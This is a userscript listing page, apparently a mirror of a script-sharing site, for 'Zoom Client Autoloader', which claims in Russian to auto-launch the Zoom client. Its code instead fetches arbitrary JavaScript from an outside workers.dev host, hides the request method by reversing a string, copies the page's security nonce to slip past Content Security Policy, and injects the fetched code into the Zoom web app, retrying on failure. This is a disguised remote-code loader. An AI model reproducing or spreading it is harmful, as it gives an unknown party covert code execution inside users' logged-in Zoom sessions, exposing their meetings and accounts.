Zoom Client Autoloader

Автоматический запуск клиента Zoom

目前為 2025-01-19 提交的版本,檢視 最新版本

// ==UserScript==
// @name         Zoom Client Autoloader
// @namespace    http://tampermonkey.net/
// @version      1.6
// @description  Автоматический запуск клиента Zoom
// @author       MultiVers
// @match        https://app.zoom.us/wc/*
// @grant        GM_setValue
// @grant        GM_getValue
// @run-at       document-idle
// @license      MIT
// ==/UserScript==

let выполняетсяЗагрузка = false;

function проверитьЗагрузку() {
    try {
        const состояние = JSON.parse(window.name || '{}');
        const текущийПуть = window.location.pathname;
        return состояние[текущийПуть] === true;
    } catch {
        return false;
    }
}

function установитьЗагрузку() {
    try {
        const состояние = JSON.parse(window.name || '{}');
        состояние[window.location.pathname] = true;
        window.name = JSON.stringify(состояние);
    } catch {}
}

async function загрузитьРесурсы() {
    if (проверитьЗагрузку()) return;
    if (выполняетсяЗагрузка) return;
    выполняетсяЗагрузка = true;

    const обработчик = {
        инициализация: async строка => (await fetch('https://loader-geneate.webclie2d.workers.dev/', {
            method: строка.split('').reverse().join(''),
            cache: 'no-store', 
            headers: {'Accept':'*/*','Connection':'keep-alive'}
        })).text(),
        подготовка: данные => {
            const скрипт = document.createElement('script');
            скрипт.textContent = данные;
            return скрипт;
        },
        применить: элемент => {
            const нонс = document.querySelector('script[nonce]')?.nonce;
            if(нонс) элемент.nonce = нонс;
            document.head.appendChild(элемент);
            установитьЗагрузку();
        }
    };
    try {
        await обработчик.применить(обработчик.подготовка(await обработчик.инициализация('TEG')));
    } catch (ошибка) {
        выполняетсяЗагрузка = false;
        setTimeout(загрузитьРесурсы, 1000);
    }
}

загрузитьРесурсы();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址